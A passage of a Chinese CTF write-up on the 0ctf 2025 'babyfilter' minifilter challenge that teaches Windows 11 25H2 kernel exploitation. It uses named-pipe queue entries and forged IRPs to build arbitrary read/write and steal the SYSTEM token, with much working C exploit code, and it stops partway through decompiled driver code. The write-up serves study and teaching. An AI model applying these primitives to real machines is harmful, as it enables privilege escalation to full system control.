借助0ctf 2025 babyfilter 这道题,学习最新版的Windows 11 25h2 下的内核利用技巧

Windows 11 25H2 下 内核利用技巧

在 Windows 11 25H2的场景下,有一些利用技巧发生了变化,其中最重要的就是 NtQueryInformationSystem 这类泄露技巧不再能使用。

image.png

在过去,很多的EXP利用的时候,往往需要得知内核中特定对象的地址,再通过这个地址对指定对象进行修正。再失去这个API之后,有些攻击手段就不能使用了。

在这种场景下,我们需要寻找一种能够再触发漏洞的场景中,也能所以进行WWW(Write-What-Where) 的利用手段。在本文,我们学习这里提到的使用Windows 中 Pipe 对象进行漏洞利用,实现在不使用NtQuery的场景下进行漏洞利用

利用场景

Pipe的使用场景如下

使用条件:

(1)能够创建命名Pipe对象的权限
(2)存在一个能够UAF/越界写的能力

利用思路:

通过越界写/UAF,在Pipe的DQE列表中的一个对象的完整控制权,之后利用其中的IRP对象,实现读写原语构造。

效果:

能够伪造IRP地址 -> 任意读
任意读+写入真实IRP对象内容后,控制伪造IRP -> 任意写

利用技巧介绍

在了解利用前,我们需要了解Windows的Pipe对象在内存中是怎么样子存放和工作的。

PIPE

命名管道在创建的时候,一般会有一个服务端和一个客户端。一般创建的时候,都是使用类似

    ph->Write = CreateNamedPipeW(
        L"\\\\.\\pipe\\exploit_cng",
        PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        quota,
        0,
        0,
        0);

这种代码负责创建。此时这一段的Pipe为服务端的写入端。一般使用的时候,对应的还有一个客户端,使用CreateFile进行连接:

ph->Read = CreateFile(L"\\\\.\\pipe\\exploit_cng", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
DWORD written;

在我们做利用的时候,通常是需要我们同时打开读写双端的pipe。当我们创建一个Pipe的时候,在内核会创建一个对应的Context Control Block (CCB)对象(下文我们直接用CCB或者Block描述这个对象)。这个对象结构体记录了Pipe这种C/S结构下需要保持的一些成员信息:

struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
}

这个结构体是没有导出的,所以不能用windbg进行检查。这个结构体主要是由驱动npfs进行实现的。在有些PoC或者头部文件中,这个结构体也被称之为NP_DATA_QUEUE_ENTRY。他们本质上是同一个对象。之后我们可能会用DQE来简称这个CCB中的对象。

为了能够稳定的申请指定大小的内存,我们需要准确的计算当前需要的池大小,通常满足这样的数学关系:

#define TARGET_CHUNK_SIZE 0x1000
#define SPRAY_SIZE (TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY))

不过,实际上我们申请的时候:

ph->Write = CreateNamedPipeW(
    L"\\\\.\\pipe\\exploit_cng",
    PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    PIPE_UNLIMITED_INSTANCES,
    quota,
    0,
    0,
    0);

此处的quote通常为TARGET_CHUNK_SIZE,这里只是用于标记我们的pipe需要存放的最大数据。在这之后,我们需要调用Write操作:

BYTE spray_data[SPRAY_SIZE];
memset(spray_data, 'X', sizeof(spray_data));

if (!WriteFile(ph->Write, spray_data, sizeof(spray_data) - 16, &written, nullptr)) {
    printf("failed to write pipe: %lu", GetLastError());
    CloseHandle(ph->Read);
    CloseHandle(ph->Write);
}

这个时候,程序才会真正的创建一个DQE,用于存放我们这一次需要写入Pipe的数据的基本信息。这里的SPRAY_SIZE就是之前计算过的,用TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY)计算出来的数据大小(再减去16,也就是池头部大小)

Data Queue Entry

这里我们简单介绍一下DQE中各个比较关键结构的相关属性

NextEntry

在内存中,不同的DQE会使用链表结构进行串联:

DQE1.png

在我们调用WriteFile的时候,就创建一个Entries。而如果当一个Entries中的数据被ReadFile读完了,就会将这个对象从双向链表中去掉。

EntryType

在Pipe中,存在两种类型的实例:缓存对象(Buffered Entries)和非缓存对象(Unbuffered Entries),这个就是使用EntryType进行存储。

缓存对象 Buffered Entries

正如结构体所示:

struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
}

需要存放在Pipe中的数据会被直接存放在Data数据中:

DQE2.png

常见的CreateNamedPipeW创建的正是这种DQE,这种时候我们使用WriteFile写入的数据就会放在Data中。

非缓存对象 UnBuffered Entries

当我们使用APINpInternalWrite(这个API不能直接使用)进行Pipe写入的时候,会导致分配一个非缓存的DQE。此时操作系统会多分配一个IRP交给这个对象:

DQE3.png

此时,这个IRP描述的是【一个暂时未写完的数据】,用于存放此时用户态未能及时传入到内核态的数据。

想要申请这样的对象,可以使用

NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, target_buffer, target_size, 0, 0);

这样的方式进行内存分配。这种分配方式的好处在于,可以控制一个完全由用户可控的内存空间,其中

  • target_buffer 为希望控制的内存空间内容
  • target_size 为希望分配的内存大小
IRP

正如前面提到的,IRP用于存放一个用户态未能及时传入内核态的数据。它的结构如下

0: kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 AllocationProcessorNumber : Uint2B
   +0x006 Reserved1        : Uint2B
   +0x008 MdlAddress       : Ptr64 _MDL
   +0x010 Flags            : Uint4B
   +0x014 Reserved2        : Uint4B
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : Char
   +0x041 PendingReturned  : UChar
   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
   +0x044 Cancel           : UChar
   +0x045 CancelIrql       : UChar
   +0x046 ApcEnvironment   : Char
   +0x047 AllocationFlags  : UChar
   +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
   +0x048 IoRingContext    : Ptr64 Void
   +0x050 UserEvent        : Ptr64 _KEVENT
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void 
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

这里需要注意几个关键成员变量:

  • AssociatedIrp:这个是IRP用于存放来自用户态的数据的关键变量之一。不同类型的IRP请求中,这个成员变量的含义会有所不同,它本质为一个Union为 cpp union { struct _IRP *MasterIrp; __volatile LONG IrpCount; PVOID SystemBuffer; } AssociatedIrp;

    在我们这次讨论的上下文中,这里取值为AssociatedIRP.SystemBuffer,后文我们也用SystemBuffer指代这个成员变量
    - ThreadListEntry:当前的IRP指向的Thread所在的一个链表,它指向发起该 I/O 请求的线程(ETHREAD)。。实际上,每一个IRP会和一个线程高度绑定。当一个线程结束的时候,对应的IRP也会结束。下文我们详细介绍。

所以如果我们的PIPE中的数据足够小,能够一次性被读完的时候,IRP这个对象是不存在的。只有满足下面两个条件之一,Windows在会在DQE中存入一个IRP

  • 当前申请的DQE为非缓存对象(这代表这个Pipe对象不会被当即读完)
  • 当前写入的内存超过了一个Pipe能够存放的最大数据(也就是Pipe中还有其他需要被写入的数据)

实际上,当我们利用的时候,这两个特性都会用到

QuotaInEntry

用于描述当前定额的内存中还有多少剩余。对于一个非缓存对象,这个值为0,对于缓存对象,这个值最初会和我们说到的DataSize一样大, 然后随着对Pipe的读取,逐渐减少为0

DataSize

存放了当前Pipe中能够存放的用户数据的最大长度。

利用原语

接下来,我们会介绍如何利用上述的PIPE构造平时利用时可能用到的原语。

非分页池风水

这些Pipe使用的都是非分页池,这些池在进行风水的时候,一般有两个思路:

  • 使用缓存内存。这种时候我们通常使用CreateNamedPipe+WriteFile的形式进行DQE的分配,不过这个时候分配的内存大小需要为target_size - sizeof(DATA_QUEUE_ENTRY)
  • 使用非缓存内存。这个时候我们通常直接使用NtFsControlFile进行风水

不过一般来说,大家还是偏爱使用前面那种方式进行风水,因为使用起来相对简单。

任意地址读

当我们尝试使用PeekNamedPipe(注意不是ReadFile)去读取一个Pipe对象的时候,程序会尝试获取当前Pipe中的数据(但是并不是真正意义上从Pipe中将数据读取出来),这一步仅仅是获取了Pipe中的数据,所以可以理解成是一个只读的行为。

在这个过程中,操作系统会根据DQE的属性EntryType,决定我们此时要读取的内存地址是来自于IRP,还是紧跟着DQE的缓存区。当我们的内存地址为非缓存对象的时候,操作系统获取数据会来自于IRP中存放的SystemBuffer(也就是AssociatedIRP)的地址

DQE3.png

所以这里有一个简单的做法就是:我们伪造一个假的FakeIRP,并且在这个FakeIRP中指向一个我们想要读取的内存地址target_addr,同时我们利用漏洞,将当前的DQE修改成EntryType=Unbuffered(1),那么此时,当我们调用PeekNamedPipe的时候,系统就会尝试从FakeIRP->SystemBuffer中读取数据,并且还给PeekNamedPipe读出的buffer中,从而造成一个任意地址读:

DQE4.png

之后,我们就能够尝试进行关键地址的泄露了。而这个FakeIRP,完全可以来自用户态:

void ReadMem(HANDLE port, PIPE_HANDLES* pipes, uint64_t addr, size_t len, unsigned char* data) {
    static char* buf = (char*)malloc(TARGET_CHUNK_SIZE + 1);
    memset(buf, 0, TARGET_CHUNK_SIZE + 1);
    DWORD read;
    DATA_QUEUE_ENTRY dqe;
    ReadDataFromGMSG((unsigned char*)&dqe, sizeof(DATA_QUEUE_ENTRY));
    IRP fakeIRP = { 0 };
    fakeIRP.AssociatedIrp = (void*)addr;
    DATA_QUEUE_ENTRY fakeNP = dqe;
    fakeNP.Irp = (IRP*)&fakeIRP;
    fakeNP.EntryType = 1;
    fakeNP.SecurityContext = 0;
    fakeNP.QuotaInEntry = 0;
    fakeNP.DataSize = len;

    CallFilterComm(EDIT_BLOCK, sizeof(fakeNP), (unsigned char*)&fakeNP);
    DWORD dwLen = 0;

    // PrepareDataEntryForRead(dqe, (IRP*)(USER_DATA_ENTRY_ADDR + 0x1000), addr);
    PeekNamedPipe(pipes->Read, data, len, &dwLen, 0, 0);
    CallFilterComm(EDIT_BLOCK, sizeof(dqe), (unsigned char*)&dqe);
}

如上,我们只需要构造一个来自用户态的FakeIRP,然后将其传递给我们内核的一个DQE对象中,再通过漏洞的形式,将这个修改后的DQE篡改内核的DQE中,即可实现任意地址读。

泄露关键 EPROCESS

假设我们此时失去了NtQueryInformationSystem这个利器,那此时意味着我们需要寻找其他的API进行泄露。

一个最简单拿的方法就是利用前文提到的IRP。正如我们前面介绍的,IRP本质上是和线程高度绑定的。每一个线程会记录当前线程中还有多少个未完成的IRP,同样的,每一个IRP都会拥有一个成员变量ThreadListEntry,记录当前IRP由哪些线程管理。这个结构体是一个“嵌入在 IRP 里的 LIST_ENTRY”

0: kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 AllocationProcessorNumber : Uint2B
   +0x006 Reserved1        : Uint2B
   +0x008 MdlAddress       : Ptr64 _MDL
   +0x010 Flags            : Uint4B
   +0x014 Reserved2        : Uint4B
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : Char
   +0x041 PendingReturned  : UChar
   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
   +0x044 Cancel           : UChar
   +0x045 CancelIrql       : UChar
   +0x046 ApcEnvironment   : Char
   +0x047 AllocationFlags  : UChar
   +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
   +0x048 IoRingContext    : Ptr64 Void
   +0x050 UserEvent        : Ptr64 _KEVENT
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void 
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

操作系统用来把 IRP 挂到发起它的线程(ETHREAD)上

IRP->ThreadListEntry

关系大概是

EPROCESS
 └── ThreadListHead
      └── ETHREAD
           └── IrpList   <──────────────┐
                ▲                       │
                │                       │
           IRP.ThreadListEntry ─────────┘

每一个线程的 ETHREAD 结构中都有一个链表头 IrpList,记录了该线程当前所有 Pending(挂起)的 IRP

所以,只要我们能够拿到一个真实存在的IRP,我们就能利用这个IRP,将ETHREAD对象泄露出来,而ETHREAD对象中,又存放了KPROCESS的地址:

0: kd> dt _KTHREAD Process
ntdll!_KTHREAD
   +0x220 Process : Ptr64 _KPROCESS

(在操作系统中,_E开头的结构体中通常包含了一个_K开头的结构体作为首个成员变量。例如_ETHREAD的第一个成员就是_KTHREAD Tcb

利用上述的技巧,我们就能完成针对EPROCESS的完整泄露,这之后就能够泄露Token所在的地址。

获取真正的IRP

然而,再前面,我们只是伪造一个IRP,所以不存在这些数据。为了得到这个IRP,代码通常会这样做:

程序会先使用多线程,异步的运行一个写入动作

DWORD WINAPI CreateIRPThread(void* arg) {

    PIPE_HANDLES* victim_pipe = (PIPE_HANDLES*)arg;
    DWORD res;
    char buf[0x1000] = { 0 };
    memset(buf, 'Z', sizeof(buf));
    printf("prepare write buffer to create irp\n");
    WriteFile(victim_pipe->Write, buf, 0x1000, &res, NULL);

    Sleep(-1);
    return 0;
}

void main()
{

    /// skip code
    CreateThread(NULL, 0, CreateIRPThread, &victim_pipes[dwIdx], 0, NULL);
    Sleep(2000);

    /// here we will try to leak IRP
}

这里我们通过Sleep(-1)永久的暂停了这个IRP的动作,从而防止线程关闭导致IRP的消失。在我们进行风水占坑,然后未进行任何操作之前,内存的布局大多数是这样的:

DQE5.png

在这个操作之后,我们的Pipe Queue中会被塞入一个拥有真正IRP的对象:

DQE6.png

获取到IRP之后,我们再使用之前创建的任意地址读原语,顺着我们之前的DQE.NextEntry.Flink双向链表搜索,找到这个存放了IRP的目标Block。

    DATA_QUEUE_ENTRY* nowChunk = (DATA_QUEUE_ENTRY*)LeakBuf;
    printf("Now leak address 0x%llx\n", nowChunk->Flink);
    DATA_QUEUE_ENTRY nextChunk = { 0 };
    ReadMem(g_hPort, &victim_pipes[dwIdx], nowChunk->Flink, sizeof(DATA_QUEUE_ENTRY), (unsigned char*)&nextChunk);
    printf("nextChunk.Flink 0x%llx\n", nextChunk.Flink);
    printf("nextChunk.Blink 0x%llx\n", nextChunk.Blink);
    printf("now leak nextChunk.Irp is %p\n", nextChunk.Irp);

任意地址写

与任意地址读相比,写就要稍微复杂一点。因为写不能像读那样,伪造一个DQE,让系统以为我们的申请缓存对象为非缓冲对象,从而利用IRP实现任意地址写。

我们实现写入操作的时候,利用的是从Pipe中读取数据的ReadFile,这个动作最终会做一个类似这样的动作

memcpy(IRP->UserBuffer, IRP->Associated.SystemBuffer, len);

我们可以利用这一点来实现任意地址写。

然而,这个动作和之前的PeekNamedPipe不同,这涉及到Pipe中数据变化,不是在npfs中进行检查,导致这个过程中存在非常多对IRP的check,所以我们就不能像之前那样简易的随意塞入参数,从而伪造一个FakeIRP,而是必须要通过创建一个拥有真正IRP的无缓冲对象,同时拷贝真正的IRP,通过修改它来实现这个操作。

伪造IRP

在我们任意地址读的实现过程中,我们获取了真正的IRP,于是在这里我们可以借助之前的IRP完成数据拷贝和伪造。在这个伪造过程中,我们需要尽可能地保留其中的源数据,所以一般会直接将数据传递过去,例如

unsigned char IrpBuffer[0x100] = { 0 };
IRP* nextIrp = (IRP*)IrpBuffer;
ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);
WriteMem(g_hPort, &victim_pipes[dwIdx], 
    IrpBuffer, sizeof(IrpBuffer),
    _KPROCESS_SYSTEM + c_offsets[g_setoff][EPROCESS_TOKEN], //SYSTEM_TOKEN,
    _KPROCESS_CURRENT + c_offsets[g_setoff][EPROCESS_TOKEN], 
    sizeof(SYSTEM_TOKEN));

这一次的伪造,我们需要考虑以下因素:

(1)由于当我们完成任意地址写的时候,IRP会被释放,所以我们需要一个真正的内核地址存放这个伪造的IRP,为了完成这个目的,这里可以使用无缓存内存空间。因为这个对象会创建一个存放用户可控数据的,内核池数据(正如前面介绍的那样,无缓存对象的可控数据放在一个单独的池内)所以我们这里可以通过这个API来存放伪造的IRP

void PrepareWriteIRP(IRP* irp, PVOID thread_list, PVOID source_address, PVOID destination_address) {
    irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
    // irp->Flags = 0x60850;
    irp->AssociatedIrp = source_address;
    irp->UserBuffer = destination_address;
    irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
    irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
}

uint64_t thread_list[2];
PrepareWriteIRP((IRP*)fakeIrp, (void*)thread_list, (PVOID)src_addr, (PVOID)dst_addr);

NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, fakeIrp, 0x1000, 0, 0);

这里的fakeIRP就是我们存放的一个被伪造的IRP。

(2)此时的IRP会有很严格的Check,包括对ThreadListEntry的检查,所以我们这里同样需要一个真正的ThreadListEntry对象。关于这个对象,我们可以直接使用在无缓冲对象中存放的IRP->ThreadEntryList,这个链表正好是真实的,这里假定我们将这个内存对象拷贝到了我们伪造的IRP,于是我们只需要保证ThreadListEntry.Flink->Blink==ThreadListEntry.Blink->Flink==&FakeIRP->ThreadListEntry,这样正好把自己从链表中摘了出去。

注意坑点
(3)上述结构体的最后Tail实际上是一个联合体,里面有很多在调用过程中会用到的参数,并且在IRP后还紧跟着IO_STACK_LOCATION相关数组。实际上,一般来说,sizeof(IRP)的大小正好就是0xb8,在笔者调试的时候发现,在IRP+0xB8的位置正好存放了一个IO_LOCATION_STACK对象,但是Windows结构体中没有给出说明。这段汇编为

    /*
    * CONTEXT:  fffff40373c44b60 -- (.cxr 0xfffff40373c44b60)
    rax=0000000000000003 rbx=0000000000000000 rcx=ffffe106e7843000
    rdx=0000000000000002 rsi=ffffe106e7843000 rdi=0000000000000001
    rip=fffff801c77217bb rsp=fffff40373c45590 rbp=fffff40373c45690
     r8=0000000000000002  r9=0000000000000001 r10=fffff801c7721700
    r11=0000000000000000 r12=0000000000000002 r13=0000006c6defdc80
    r14=0000000000000000 r15=ffffe106e1aeddb0
    iopl=0         nv up ei pl zr na po nc
    cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
    nt!IopfCompleteRequest+0x7b:
    fffff801`c77217bb 803b16          cmp     byte ptr [rbx],16h ds:002b:00000000`00000000=??
    Resetting default scope

    PROCESS_NAME:  BabyfilterPoC.exe

    fffff801`c772179f 488b99b8000000  mov     rbx,qword ptr [rcx+0B8h]
    rcx = IRP

    that's mean rcx=0xb8 is very important
    0: kd> dps 0xffffbb8b91445bb0+0xb8
        ffffbb8b`91445c68  ffffbb8b`91445cc8
        ffffbb8b`91445c70  ffffbb8b`9257eb50
    */

所以,在实际进行IRP伪造的时候,建议直接多拷贝一些内容,例如

unsigned char IrpBuffer[0x100] = { 0 };
IRP* nextIrp = (IRP*)IrpBuffer;
ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);

保证之后伪造的时候,也能够得到完整的数据。

伪造DQE

当我们准备好一个IRP之后,我们还需要一个能够将我们修改后的IRP写入。显然在拥有任意地址写之前,我们只能有一个可被我们控制的DQE对象(也就是我们漏洞所在的那个DQE)。于是我们可与按照任意地址读的方式,修改这个DQE也为无缓存对象,不过这一次我们写入的是一个被我们精心伪造过的,存在内核态的一个IRP,从而保证后续漏洞利用的触发:

DQE7.png

具体写什么?

这里具体来说,我们仍然可以用非常经典的修改TOKEN的策略,也就是通过任意地址读,找到SYSTEEM进程的TOKEN地址,并且将其写入当前EPROCESS的TOKEN位置,即可完成漏洞攻击。

实战:Babyfilter

这个题给了一个简单的Minifilter,可以让不熟悉MiniFilter的同学了解这类驱动。同时也给出了在Windows 11下,条件竞争漏洞的利用技巧,考察点比较新颖

题目分析

题目说明如下:

qemu + win11 26200.7462

get SYSTEM and read c:\flag.txt

nc 202.120.7.13 58390

pnputil /add-driver babyfilter.inf /install

sc start babyfilter

fltmc attach babyfilter c:

通过后三条,我们可以知道目标程序为MiniFilter,并且知道了安装方式。于是我们可以先装一个新版的Windows11,并且将对应的安装办法整理成脚本,作为测试环境。

MiniFilter

这个驱动又可以叫做文件系统过滤驱动(File System Filter Driver),这类驱动的特点是,它会挂载在IO管理器下,能够以更加轻便的方式对IO请求进行拦截和修改

这类驱动在与用户态通信的时候,通常使用的是

NTSTATUS FLTAPI FltCreateCommunicationPort(
  PFLT_FILTER            Filter,
  PFLT_PORT              *ServerPort,
  POBJECT_ATTRIBUTES     ObjectAttributes,
  PVOID                  ServerPortCookie,
  PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
  PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  LONG                   MaxConnections
);

这个API创建的端口。这个端口的属性通常会放在ObjectAttributes这个属性里面,包括用户态可以与之通信的端口名字。例如:

    UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
    PSECURITY_DESCRIPTOR sd;
    FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限

    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);

    FltCreateCommunicationPort(
        gFilterHandle,
        &gServerPort,
        &oa,
        NULL,
        MyConnectNotify,    // 连接回调
        MyDisconnectNotify, // 断开回调
        MyMessageNotify,    // 收到消息回调
        1                   // 最大并发连接数
    );

这里的回调函数也很关键。当我们尝试与Minifilter进行连接建立、断开以及消息发送的时候,就会分别触发这几个回调函数。其中如果需要触发收到消息的回调,需要用户态使用

HRESULT FilterSendMessage(
  [in]           HANDLE  hPort,
  [in, optional] LPVOID  lpInBuffer,
  [in]           DWORD   dwInBufferSize,
  [out]          LPVOID  lpOutBuffer,
  [in]           DWORD   dwOutBufferSize,
  [out]          LPDWORD lpBytesReturned
);

来触发对应的回调函数。

同时,第一个参数gFilterHandle表示的是当前MiniFilter总共注册了哪些回调。这个注册过程为

CONST FLT_REGISTRATION reg = {

    sizeof( FLT_REGISTRATION ),         //  Size
    FLT_REGISTRATION_VERSION,           //  Version
    0,                                  //  Flags

    NULL,                               //  Context
    NULL,                               //  Operation callbacks

    NullUnload,                         //  FilterUnload

    NULL,                               //  InstanceSetup
    NullQueryTeardown,                  //  InstanceQueryTeardown
    NULL,                               //  InstanceTeardownStart
    NULL,                               //  InstanceTeardownComplete

    NULL,                               //  GenerateFileName
    NULL,                               //  GenerateDestinationFileName
    NULL                                //  NormalizeNameComponent

};

FltRegisterFilter(DriverObject, &reg, &gFilterHandle);

我们通过填写一个FLT_REGISTRATION的结构体,完成对应回调实体的属性设置。这个属性具体如下:

typedef struct _FLT_REGISTRATION {
  USHORT                                      Size;
  USHORT                                      Version;
  FLT_REGISTRATION_FLAGS                      Flags;
  const FLT_CONTEXT_REGISTRATION              *ContextRegistration;
  const FLT_OPERATION_REGISTRATION            *OperationRegistration;
  PFLT_FILTER_UNLOAD_CALLBACK                 FilterUnloadCallback;
  PFLT_INSTANCE_SETUP_CALLBACK                InstanceSetupCallback;
  PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK       InstanceQueryTeardownCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownStartCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownCompleteCallback;
  PFLT_GENERATE_FILE_NAME                     GenerateFileNameCallback;
  PFLT_NORMALIZE_NAME_COMPONENT               NormalizeNameComponentCallback;
  PFLT_NORMALIZE_CONTEXT_CLEANUP              NormalizeContextCleanupCallback;
  PFLT_TRANSACTION_NOTIFICATION_CALLBACK      TransactionNotificationCallback;
  PFLT_NORMALIZE_NAME_COMPONENT_EX            NormalizeNameComponentExCallback;
  PFLT_SECTION_CONFLICT_NOTIFICATION_CALLBACK SectionNotificationCallback;
} FLT_REGISTRATION, *PFLT_REGISTRATION;

其中我们需要关注的是OprationRegistration这个成员。这里会记录当前MiniFilter针对哪些IRP进行观测。例如这个来自微软官方的例子:

FLT_OPERATION_REGISTRATION Callbacks[] = {

    { IRP_MJ_CREATE,
        FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
        SimRepPreCreate,
        NULL },

    { IRP_MJ_NETWORK_QUERY_OPEN,
        FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
        SimRepPreNetworkQueryOpen,
        NULL },

    { IRP_MJ_OPERATION_END }
};

FLT_REGISTRATION FilterRegistration = {

    sizeof( FLT_REGISTRATION ),                     //  Size
    FLT_REGISTRATION_VERSION,                       //  Version
    0,                                              //  Flags
    NULL,                                           //  Context
    Callbacks,                                      //  Operation callbacks
    SimRepUnload,                                   //  Filters unload routine
    SimRepInstanceSetup,                            //  InstanceSetup routine
    SimRepInstanceQueryTeardown,                    //  InstanceQueryTeardown routine
    NULL,                                           //  InstanceTeardownStart routine
    NULL,                                           //  InstanceTeardownComplete routine
    NULL,                                           //  Filename generation support callback
    NULL,                                           //  Filename normalization support callback
    NULL,                                           //  Normalize name component cleanup callback
#if SIMREP_VISTA
    NULL,                                           //  Transaction notification callback
    NULL                                            //  Filename normalization support callback

#endif // SIMREP_VISTA
};

这里的Callbacks总共注册了两个操作

  • IRP_MJ_CREATE: 这里就是打开文件会触发的回调
  • IRP_MJ_NETWORK_QUERY_OPEN: 通过FastIO触发的一种特殊回调

通过给数组最后一个参数留空来表示当前回调数组的长度。

通过上述结构体,就能描述出当前Minifilter具体对哪些操作进行了回调注册

样例代码

PFLT_FILTER gFilterHandle = NULL;
PFLT_PORT gServerPort = NULL;    // 服务端监听端口
PFLT_PORT gClientPort = NULL;    // 已连接的客户端端口

// 当用户态调用 FilterConnectCommunicationPort 时触发
NTSTATUS MyConnectNotify(PFLT_PORT ClientPort, PVOID ServerPortCookie, PVOID ConnectionContext, ULONG SizeOfContext, PVOID *ConnectionPortCookie) {
    gClientPort = ClientPort;
    DbgPrint("Client connected!\n");
    return STATUS_SUCCESS;
}

// 当用户态调用 CloseHandle 时触发
void MyDisconnectNotify(PVOID ConnectionCookie) {
    FltCloseClientPort(gFilterHandle, &gClientPort);
    DbgPrint("Client disconnected!\n");
}

// 当用户态调用 FilterSendMessage 发送数据时触发
NTSTATUS MyMessageNotify(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength) {
    DbgPrint("Received message from user-mode!\n");
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    // 1. 注册 Minifilter
    FLT_REGISTRATION reg = { sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION, 0 };
    // 此处通常需要设置 Context 和 Operation 回调,为简洁起见省略
    FltRegisterFilter(DriverObject, &reg, &gFilterHandle);

    // 2. 创建通信端口
    UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
    PSECURITY_DESCRIPTOR sd;
    FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限

    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);

    // 建立端口,绑定通知函数
    FltCreateCommunicationPort(
        gFilterHandle,
        &gServerPort,       // 输出服务端句柄
        &oa,
        NULL,               // Cookie
        MyConnectNotify,    // 连接回调
        MyDisconnectNotify, // 断开回调
        MyMessageNotify,    // 收到消息回调
        1                   // 最大并发连接数
    );

    FltFreeSecurityDescriptor(sd);
    return FltStartFiltering(gFilterHandle);
}

之后我们分析这个MiniFilter。有了MiniFilter的基础知识,我们这里主要关注两个位置,一个是注册函数到底注册了什么回调,一个是MessageCallback中可能有什么。首先看到主要注册逻辑:

NTSTATUS __fastcall sub_140007000(PDRIVER_OBJECT Driver)
{
  NTSTATUS result; // eax
  NTSTATUS started; // ebx
  struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-40h] BYREF
  _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+50h] [rbp-30h] BYREF
  void *v6; // [rsp+A0h] [rbp+20h] BYREF

  if ( (dword_140004108 & 1) != 0 )
    DbgPrint("PassThrough!DriverEntry: Entered\n");
  result = FltRegisterFilter(Driver, &Registration, &Filter);
  _mm_lfence();
  if ( result >= 0 )
  {
    *(&ObjectAttributes.Length + 1) = 0;
    *(&ObjectAttributes.Attributes + 1) = 0;
    DestinationString = 0;
    v6 = 0;
    sub_14000132C(&v6);
    RtlInitUnicodeString(&DestinationString, L"\\BabyFilterPort");
    ObjectAttributes.ObjectName = &DestinationString;
    ObjectAttributes.SecurityDescriptor = v6;
    ObjectAttributes.Length = 48;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = 576;
    ObjectAttributes.SecurityQualityOfService = 0;
    FltCreateCommunicationPort(
      Filter,
      &ServerPort,
      &ObjectAttributes,
      0,
      (PFLT_CONNECT_NOTIFY)ConnectNotifyCallback,
